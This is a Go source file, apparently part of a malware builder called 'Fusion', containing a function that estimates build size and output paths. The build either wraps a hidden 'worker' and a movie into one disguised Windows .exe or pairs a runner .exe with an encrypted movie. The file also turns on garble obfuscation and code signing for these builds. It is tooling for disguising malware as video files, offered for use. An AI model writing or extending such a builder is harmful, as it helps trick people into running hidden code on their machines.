package builder

import (
	"fmt"
	"path/filepath"
	"strings"
)

const (
	defaultWorkerBytes     int64 = 12 * 1024 * 1024
	defaultFusionStubBytes int64 = 2_500_000
	resourcePatchOverhead  int64 = 150_000
)

type FusionEstimateResponse struct {
	PrepBytes                   int64    `json:"prep_bytes"`
	PrepName                    string   `json:"prep_name"`
	EstimatedWorkerBytes        int64    `json:"estimated_worker_bytes"`
	EstimatedFusionStubBytes    int64    `json:"estimated_fusion_stub_bytes"`
	EstimatedResourcePatchBytes int64    `json:"estimated_resource_patch_bytes"`
	EstimatedTotalBytes         int64    `json:"estimated_total_bytes"`
	OutputFileName              string   `json:"output_file_name"`
	ProjectRootPath             string   `json:"project_root_path"`
	ArchivePathHint             string   `json:"archive_path_hint"`
	ExportPath                  string   `json:"export_path,omitempty"`
	Obfuscate                   bool     `json:"obfuscate"`
	SignBuild                   bool     `json:"sign_build"`
	Notes                       []string `json:"notes"`
}

func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
	kind := strings.TrimSpace(req.FusionPayloadKind)
	if kind == "" {
		kind = detectFusionPayloadKind(prepName)
		if kind == "exe" && prepPath != "" {
			kind = detectFusionPayloadKind(prepPath)
		}
	}
	mode := normalizeFusionMediaMode(req.FusionMediaMode)

	outputName := req.FusionOutputName
	if outputName == "" {
		outputName = prepName
	}
	if outputName == "" {
		// Default runner name derived from payload filename
		winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
		outputName = runnerNameForFile(prepName, winPlatform)
	}
	if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
		outputName += ".exe"
	}
	outputName = sanitizeFileName(outputName)

	workerBytes := h.estimateWorkerBytes()
	stubBytes := defaultFusionStubBytes
	var total int64
	switch kind {
	case "video":
		if mode == "embedded" {
			total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
		} else {
			total = workerBytes + stubBytes + resourcePatchOverhead
		}
	default:
		total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
	}

	root := h.projectRoot
	if root == "" || root == "." {
		root, _ = filepath.Abs(".")
	}
	label := prepName
	if kind != "video" {
		label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
	}
	sub := fusionExportSubdir(req, label)
	projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)

	resp := FusionEstimateResponse{
		PrepBytes:                   prepSize,
		PrepName:                    prepName,
		EstimatedWorkerBytes:        workerBytes,
		EstimatedFusionStubBytes:    stubBytes,
		EstimatedResourcePatchBytes: resourcePatchOverhead,
		EstimatedTotalBytes:         total,
		OutputFileName:              outputName,
		ProjectRootPath:             projectOut,
		ArchivePathHint:             filepath.Join(h.dataDir, "builds", "<build-id>", outputName),
		Obfuscate:                   h.shouldObfuscate(req),
		SignBuild:                   req.SignBuild,
		Notes: []string{
			fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
			fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
			fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
			fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
		},
	}

	if kind == "video" {
		if mode == "embedded" {
			resp.Notes = append(resp.Notes,
				"Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
			)
		} else {
			resp.Notes = append(resp.Notes,
				"Option B (paired): runner .exe + encrypted movie in fusion-deliverables/<title>/.",
				fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
			)
		}
		resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
		resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
	}

	if strings.TrimSpace(req.OutputDir) != "" {
		clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
		if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
			secondary := filepath.Join(root, clean, outputName)
			if resp.ExportPath == "" {
				resp.ExportPath = secondary
			}
			resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
		}
	}

	if h.shouldObfuscate(req) && h.garblePath == "" {
		resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
	}
	if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
		resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
	}

	return resp
}

func (h *Handler) estimateWorkerBytes() int64 {
	if h.db == nil {
		return defaultWorkerBytes
	}
	builds, err := h.db.ListBuilds(40)
	if err != nil || len(builds) == 0 {
		return defaultWorkerBytes
	}
	var sum int64
	var count int64
	for _, b := range builds {
		base := strings.ToLower(filepath.Base(b.FilePath))
		if strings.HasPrefix(base, "worker-") || strings.HasPrefix(base, "install-") {
			if b.FileSize > 0 {
				sum += b.FileSize
				count++
			}
		}
	}
	if count == 0 {
		return defaultWorkerBytes
	}
	return sum / count
}

func formatBytes(n int64) string {
	const unit = 1024
	if n < unit {
		return fmt.Sprintf("%d B", n)
	}
	div, exp := int64(unit), 0
	for v := n / unit; v >= unit; v /= unit {
		div *= unit
		exp++
	}
	return fmt.Sprintf("%.2f %cB", float64(n)/float64(div), "KMGTPE"[exp])
}
